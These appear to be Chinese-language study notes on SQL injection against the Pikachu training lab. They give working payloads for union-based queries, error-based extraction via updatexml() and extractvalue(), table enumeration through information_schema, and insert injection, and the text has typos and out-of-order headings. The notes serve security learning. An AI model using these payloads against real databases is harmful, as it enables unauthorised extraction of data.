sql注入 关键函数的使用
一、基于union函数的联合查询:
1.在数据库中通过union函数查询username和password等信息,如下
2.在pikachu中,通过字符型输入,通过union函数构建查询数据库名称和版本的语句:
x' union select database(),version()#
二、基于报错的方式获取信息:
三、通过updatexml()函数对版本进行查询,但是显示的报错信息并不显示版本信息,这是因为关键信息被屏蔽了。
x' and updatexml(1,version(),0)#
通过cancat函数拼接version()内容,通过0x7e是这个符号~的16进制,是为了放置隐藏信息不被吃掉,可以得到pikachu这个数据库,如下:
x' and updatexml(1,concat(0x7e,version()),0)#
通过以下内容可以得到以下表的名称:
x' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
二、insert注入:
将要插入的用户名改成上诉的语句后,可以看到通过报错,得到数据局哭的把版本为
x' or updatexml(1,concat(0x7e,version()),0) or '
四、通过extractvalue函数对数据库进行报错
x' and extractvalue(0,concat(0x7e,version()))#
五、基于floor()函数,进行报错:
通过在数据库总对floor函数进行操作,可以看到他对数字整数部分进行取整,小数部分舍去。